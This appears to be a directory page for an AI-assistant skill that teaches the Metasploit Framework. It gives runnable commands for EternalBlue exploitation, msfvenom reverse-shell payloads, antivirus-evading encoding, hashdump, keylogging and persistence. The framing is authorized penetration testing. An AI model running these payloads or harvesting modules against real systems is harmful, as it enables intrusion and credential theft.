metasploit framework

Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

Safety Notice

This listing is imported from skills.sh public index metadata. Review upstream SKILL.md and repository scripts before running.

Copy this and send it to your AI assistant to learn

Install skill "metasploit framework" with this command: npx skills add davila7/claude-code-templates/davila7-claude-code-templates-metasploit-framework

Metasploit Framework

Purpose

Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

Prerequisites

Required Tools

Metasploit comes pre-installed on Kali Linux

For other systems:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall ./msfinstall

Start PostgreSQL for database support

sudo systemctl start postgresql sudo msfdb init

Required Knowledge

  • Network and system fundamentals

  • Understanding of vulnerabilities and exploits

  • Basic programming concepts

  • Target enumeration techniques

Required Access

  • Written authorization for testing

  • Network access to target systems

  • Understanding of scope and rules of engagement

Outputs and Deliverables

  • Exploitation Evidence - Screenshots and logs of successful compromises

  • Session Logs - Command history and extracted data

  • Vulnerability Mapping - Exploited vulnerabilities with CVE references

  • Post-Exploitation Artifacts - Credentials, files, and system information

Core Workflow

Phase 1: MSFConsole Basics

Launch and navigate the Metasploit console:

Start msfconsole

msfconsole

Quiet mode (skip banner)

msfconsole -q

Basic navigation commands

msf6 > help # Show all commands msf6 > search [term] # Search modules msf6 > use [module] # Select module msf6 > info # Show module details msf6 > show options # Display required options msf6 > set [OPTION] [value] # Configure option msf6 > run / exploit # Execute module msf6 > back # Return to main console msf6 > exit # Exit msfconsole

Phase 2: Module Types

Understand the different module categories:

1. Exploit Modules - Target specific vulnerabilities

msf6 > show exploits msf6 > use exploit/windows/smb/ms17_010_eternalblue

2. Payload Modules - Code executed after exploitation

msf6 > show payloads msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

3. Auxiliary Modules - Scanning, fuzzing, enumeration

msf6 > show auxiliary msf6 > use auxiliary/scanner/smb/smb_version

4. Post-Exploitation Modules - Actions after compromise

msf6 > show post msf6 > use post/windows/gather/hashdump

5. Encoders - Obfuscate payloads

msf6 > show encoders msf6 > set ENCODER x86/shikata_ga_nai

6. Nops - No-operation padding for buffer overflows

msf6 > show nops

7. Evasion - Bypass security controls

msf6 > show evasion

Phase 3: Searching for Modules

Find appropriate modules for targets:

Search by name

msf6 > search eternalblue

Search by CVE

msf6 > search cve:2017-0144

Search by platform

msf6 > search platform:windows type:exploit

Search by type and keyword

msf6 > search type:auxiliary smb

Filter by rank (excellent, great, good, normal, average, low, manual)

msf6 > search rank:excellent

Combined search

msf6 > search type:exploit platform:linux apache

View search results columns:

Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description

Phase 4: Configuring Exploits

Set up an exploit for execution:

Select exploit module

msf6 > use exploit/windows/smb/ms17_010_eternalblue

View required options

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Set target host

msf6 exploit(...) > set RHOSTS 192.168.1.100

Set target port (if different from default)

msf6 exploit(...) > set RPORT 445

View compatible payloads

msf6 exploit(...) > show payloads

Set payload

msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

Set local host for reverse connection

msf6 exploit(...) > set LHOST 192.168.1.50 msf6 exploit(...) > set LPORT 4444

View all options again to verify

msf6 exploit(...) > show options

Check if target is vulnerable (if supported)

msf6 exploit(...) > check

Execute exploit

msf6 exploit(...) > exploit

or

msf6 exploit(...) > run

Phase 5: Payload Types

Select appropriate payload for the situation:

Singles - Self-contained, no staging

windows/shell_reverse_tcp linux/x86/shell_bind_tcp

Stagers - Small payload that downloads larger stage

windows/meterpreter/reverse_tcp linux/x86/meterpreter/bind_tcp

Stages - Downloaded by stager, provides full functionality

Meterpreter, VNC, shell

Payload naming convention:

[platform]/[architecture]/[payload_type]/[connection_type]

Examples:

windows/x64/meterpreter/reverse_tcp linux/x86/shell/bind_tcp php/meterpreter/reverse_tcp java/meterpreter/reverse_https android/meterpreter/reverse_tcp

Phase 6: Meterpreter Session

Work with Meterpreter post-exploitation:

After successful exploitation, you get Meterpreter prompt

meterpreter >

System Information

meterpreter > sysinfo meterpreter > getuid meterpreter > getpid

File System Operations

meterpreter > pwd meterpreter > ls meterpreter > cd C:\Users meterpreter > download file.txt /tmp/ meterpreter > upload /tmp/tool.exe C:\

Process Management

meterpreter > ps meterpreter > migrate [PID] meterpreter > kill [PID]

Networking

meterpreter > ipconfig meterpreter > netstat meterpreter > route meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

Privilege Escalation

meterpreter > getsystem meterpreter > getprivs

Credential Harvesting

meterpreter > hashdump meterpreter > run post/windows/gather/credentials/credential_collector

Screenshots and Keylogging

meterpreter > screenshot meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop

Shell Access

meterpreter > shell C:\Windows\system32> whoami C:\Windows\system32> exit meterpreter >

Background Session

meterpreter > background msf6 exploit(...) > sessions -l msf6 exploit(...) > sessions -i 1

Phase 7: Auxiliary Modules

Use auxiliary modules for reconnaissance:

SMB Version Scanner

msf6 > use auxiliary/scanner/smb/smb_version msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(...) > run

Port Scanner

msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > set PORTS 1-1000 msf6 auxiliary(...) > run

SSH Version Scanner

msf6 > use auxiliary/scanner/ssh/ssh_version msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(...) > run

FTP Anonymous Login

msf6 > use auxiliary/scanner/ftp/anonymous msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > run

HTTP Directory Scanner

msf6 > use auxiliary/scanner/http/dir_scanner msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > run

Brute Force Modules

msf6 > use auxiliary/scanner/ssh/ssh_login msf6 auxiliary(...) > set RHOSTS 192.168.1.100 msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt msf6 auxiliary(...) > run

Phase 8: Post-Exploitation Modules

Run post modules on active sessions:

List sessions

msf6 > sessions -l

Run post module on specific session

msf6 > use post/windows/gather/hashdump msf6 post(windows/gather/hashdump) > set SESSION 1 msf6 post(...) > run

Or run directly from Meterpreter

meterpreter > run post/windows/gather/hashdump

Common Post Modules

Credential Gathering

post/windows/gather/credentials/credential_collector post/windows/gather/lsa_secrets post/windows/gather/cachedump post/multi/gather/ssh_creds

System Enumeration

post/windows/gather/enum_applications post/windows/gather/enum_logged_on_users post/windows/gather/enum_shares post/linux/gather/enum_configs

Privilege Escalation

post/windows/escalate/getsystem post/multi/recon/local_exploit_suggester

Persistence

post/windows/manage/persistence_exe post/linux/manage/sshkey_persistence

Pivoting

post/multi/manage/autoroute

Phase 9: Payload Generation with msfvenom

Create standalone payloads:

Basic Windows reverse shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

Linux reverse shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

PHP reverse shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

Python reverse shell

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

PowerShell payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

ASP web shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

WAR file (Tomcat)

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

Android APK

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

Encoded payload (evade AV)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

List available formats

msfvenom --list formats

List available encoders

msfvenom --list encoders

Phase 10: Setting Up Handlers

Configure listener for incoming connections:

Manual handler setup

msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.50 msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > exploit -j

The -j flag runs as background job

msf6 > jobs -l

When payload executes on target, session opens

[*] Meterpreter session 1 opened

Interact with session

msf6 > sessions -i 1

Quick Reference

Essential MSFConsole Commands

Command Description

search [term]

Search for modules

use [module]

Select a module

info

Display module information

show options

Show configurable options

set [OPT] [val]

Set option value

setg [OPT] [val]

Set global option

run / exploit

Execute module

check

Verify target vulnerability

back

Deselect module

sessions -l

List active sessions

sessions -i [N]

Interact with session

jobs -l

List background jobs

db_nmap

Run nmap with database

Meterpreter Essential Commands

Command Description

sysinfo

System information

getuid

Current user

getsystem

Attempt privilege escalation

hashdump

Dump password hashes

shell

Drop to system shell

upload/download

File transfer

screenshot

Capture screen

keyscan_start

Start keylogger

migrate [PID]

Move to another process

background

Background session

portfwd

Port forwarding

Common Exploit Modules

Windows

exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/ms08_067_netapi exploit/windows/http/iis_webdav_upload_asp exploit/windows/local/bypassuac

Linux

exploit/linux/ssh/sshexec exploit/linux/local/overlayfs_priv_esc exploit/multi/http/apache_mod_cgi_bash_env_exec

Web Applications

exploit/multi/http/tomcat_mgr_upload exploit/unix/webapp/wp_admin_shell_upload exploit/multi/http/jenkins_script_console

Constraints and Limitations

Legal Requirements

  • Only use on systems you own or have written authorization to test

  • Document all testing activities

  • Follow rules of engagement

  • Report all findings to appropriate parties

Technical Limitations

  • Modern AV/EDR may detect Metasploit payloads

  • Some exploits require specific target configurations

  • Firewall rules may block reverse connections

  • Not all exploits work on all target versions

Operational Security

  • Use encrypted channels (reverse_https) when possible

  • Clean up artifacts after testing

  • Avoid detection by monitoring systems

  • Limit post-exploitation to agreed scope

Troubleshooting

Issue Solutions

Database not connected Run sudo msfdb init , start PostgreSQL, then db_connect

Exploit fails/no session Run check ; verify payload architecture; check firewall; try different payloads

Session dies immediately Migrate to stable process; use stageless payload; check AV; use AutoRunScript

Payload detected by AV Use encoding -e x86/shikata_ga_nai -i 10 ; use evasion modules; custom templates

Source Transparency

This detail page is rendered from real SKILL.md content. Trust labels are metadata-based hints, not a safety guarantee.

Related Skills

Related by shared tags or category signals.

Security

senior-security

No summary provided by upstream source.

Repository SourceNeeds Review
Security

security-compliance

No summary provided by upstream source.

Repository SourceNeeds Review
Security

seo-audit

No summary provided by upstream source.

Repository SourceNeeds Review
Security

security-review

No summary provided by upstream source.

Repository SourceNeeds Review